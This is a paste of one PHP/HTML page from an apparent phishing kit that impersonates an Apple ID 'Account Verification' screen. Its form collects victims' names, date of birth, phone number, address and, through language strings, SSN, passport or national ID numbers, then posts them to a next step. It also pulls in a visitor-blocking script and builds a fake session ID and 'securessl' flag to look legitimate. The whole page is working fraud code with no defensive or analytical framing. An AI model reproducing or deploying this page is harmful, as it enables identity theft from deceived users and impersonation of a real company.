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TukangLog

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TukangLog
May 2nd, 2018
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  1. <?php
  2. error_reporting(false);
  3. /*
  4. = Recoded
  5. */
  6. require "assets/includes/session_protect.php";
  7. require "assets/includes/functions.php";
  8. require "assets/includes/language.mob.php";
  9. require "assets/includes/One_Time.php";
  10. require "assets/includes/enc.php";
  11. require "blocker.php";
  12. ?>
  13.  
  14.  
  15. <!DOCTYPE html>
  16. <html>
  17. <head>
  18. <meta content="text/html; charset=utf-8" http-equiv="Content-Type">
  19. <meta content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" name="viewport">
  20. <title>Confirm your information</title>
  21. <link href="assets/img/favicon.ico" rel="shortcut icon" type="image/x-icon">
  22. <link href="assets/css/First.css" media="all" rel="stylesheet" type="text/css">
  23. <link href="assets/css/Second.css" rel="stylesheet" type="text/css">
  24. <link href="assets/css/Fonts.css" rel="stylesheet" type="text/css">
  25. <link href="assets/css/verify.css" rel="stylesheet" type="text/css">
  26. <style>.error {color:red}</style>
  27. </head>
  28. <body id="pagecontent">
  29. <div id="content">
  30. <div class="bdd45">
  31. <nav id="xdsfv54" class="js no-touch svg no-ie7 no-ie8">
  32. <div class="HeaderObjHolder">
  33. <ul class="MobHeader">
  34. <li class="HeaderObj MobMenIconH">
  35. <label class="MobMenHol">
  36. <span class="MobMenIcon MobMenIcon-top">
  37. <span class="MobMenIcon-crust MobMenIcon-crust-top"></span> </span> <span class="MobMenIcon MobMenIcon-bottom">
  38. <span class="MobMenIcon-crust MobMenIcon-crust-bottom"></span> </span>
  39. </label>
  40. </li>
  41. <li class="HeaderObj">
  42. <a class="Item1" href="#" style="display: inline-block;margin-left:50%;margin-top:11px" id="ac-gn-firstfocus-small"> <span class="ac-gn-link-text">&nbsp;</span> </a>
  43. <a class="Item10" style="display: inline-block;float:right;margin-top:11px" href="#"> <span class="ac-gn-link-text">&nbsp;</span> <span class="ac-gn-bag-badge"></span> </a> <span class="ac-gn-bagview-caret ac-gn-bagview-caret-large"></span>
  44. </li>
  45. </ul>
  46. <ul class="HeaderObjList">
  47. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item1" href="#"></a></li>
  48. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item2" href="#"></a></li>
  49. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item3" href="#"></a></li>
  50. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item4" href="#"></a></li>
  51. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item5" href="#"></a></li>
  52. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item6" href="#"></a></li>
  53. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item7" href="#"></a></li>
  54. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item8" href="#"></a></li>
  55. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item9" href="#"></a></li>
  56. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item10" href="#"></a></li>
  57. </ul>
  58. </div>
  59. </nav>
  60.  
  61.  
  62.  
  63. <div id="flow">
  64. <div class="flow-body signin clearfix" role="main">
  65. <div class="persona-splash no-photo clearfix">
  66.     <div class="persona-bg"></div>
  67.     <div class="container">
  68.         <div class="splash-section">
  69.             <div class=" person-wrapper">
  70.                 <div>
  71.                     <div class="row">
  72.                         <div class="col-sm-9 appleid-col">
  73.                             <div class="flex-container">
  74.                                 <h1 class="mobile appleid-user">
  75.                                     <span class="first_name">Account Verification</span>
  76.                                     <small class="SessionUser">Your Apple ID is <strong><?php echo $_SESSION['user'];?></strong> </small>
  77.                                 </h1>
  78.                             </div>
  79.                         </div>
  80.                         <div class="not-mobile col-sm-3">
  81.                             <div class="flex-container-signout">
  82.                                 <div class="signout pull-right">
  83.                                     <button class="btn btn-link">Sign Out </button>
  84.                                 </div>
  85.                             </div>
  86.                         </div>
  87.                     </div>
  88.                 </div>
  89.             </div>
  90.         </div>
  91.     </div>
  92. </div>
  93. <div class="container">
  94. <div class="flex home-content">
  95.  
  96.  
  97. <form action="Step2.php?&sessionid=<?php echo generateRandomString(115); ?>&securessl=true" method="post" name="details" id="details" class="proceed">
  98. <div class="container flow-sections">
  99. <div class="editable account-edit clearfix">
  100. <div class="row edit-row">
  101. <div class="col-sm-5">                            
  102. <h3 class="section-subtitle" id="nameLabel">Personal Information</h3>
  103. <div class="form-group">
  104. <div class="pop-wrapper field-pop-wrapper first-wrapper">
  105. <div class="name-input">
  106.   <input type="text" name="fname" id="fname" class="generic-input-field form-control field" placeholder="First Name">
  107.   <span id="nameerror"></span>
  108. </div>
  109. </div>
  110. </div>
  111. <div class="pop-wrapper field-pop-wrapper middle-wrapper">
  112. <div class="name-input">
  113.   <input type="text" name="lname" id="lname" class="generic-input-field form-control field" placeholder="Last Name">
  114. </div>
  115. </div>
  116. <div class="pop-wrapper field-pop-wrapper middle-wrapper">
  117. <div class="name-input">
  118. <input id="dob" name="dob" class="form-control form-input" type="tel" placeholder="Date Of Birth">
  119. </div>
  120. </div>
  121. <div class="pop-wrapper field-pop-wrapper middle-wrapper">
  122. <div class="name-input">
  123. <input id="telephone" name="telephone" class="form-control form-input" type="tel" placeholder="Phone Number">
  124. </div>
  125. </div>
  126. <?php echo $lang['SSN'];?>
  127. <?php echo $lang['PASSPORT'];?>
  128. <?php echo $lang['NUMBID'];?>
  129. <?php echo $lang['NAID'];?>
  130. <?php echo $lang['CIVILID'];?>
  131. <?php echo $lang['QATARID'];?>
  132. <?php echo $lang['CITIZENID'];?>
  133. <div class="pop-wrapper field-pop-wrapper middle-wrapper">
  134. <div class="name-input">
  135.   <input type="text" name="address" id="address" class="generic-input-field form-control field" placeholder="Address Line ">
  136. </div>
  137. </div>
  138. <div class="pop-wrapper field-pop-wrapper middle-wrapper">
  139. <div class="name-input">
  140.   <input type="text" name="town" id="town" class="generic-input-field form-control field" placeholder="Town / City">
  141. </div>
  142. </div>
  143.  
  144. <div class="form-group clearfix middle-wrapper">
  145. <div class="select-wrapper">
  146. <?php echo $lang['COUNTYSELECT'];?>
  147. </div>
  148. </div>
  149. <div class="pop-wrapper field-pop-wrapper last-wrapper">
  150. <div class="name-input">
  151.   <input type="text" name="postcode" id="postcode" class="generic-input-field form-control field" placeholder="<?php echo $lang['POSTCODE'];?>">
  152. </div>
  153. </div>
  154. <input type="hidden" name="country" value="<?php echo $lang['COUNTRY'];?>">
  155. <br>
  156. <br>
  157. <input type="submit" class="gobtn btn-link" style="width:50%;margin-left:auto;margin-right:auto;float:right" value="Next">
  158. </div>
  159. </div>
  160. </div>
  161. </div>
  162. </div>
  163. </form>
  164.  
  165.  
  166.  
  167. </div>
  168. </div>
  169. </div>
  170. </div>
  171. </div>
  172. </div>
  173. </body>
  174. </html>
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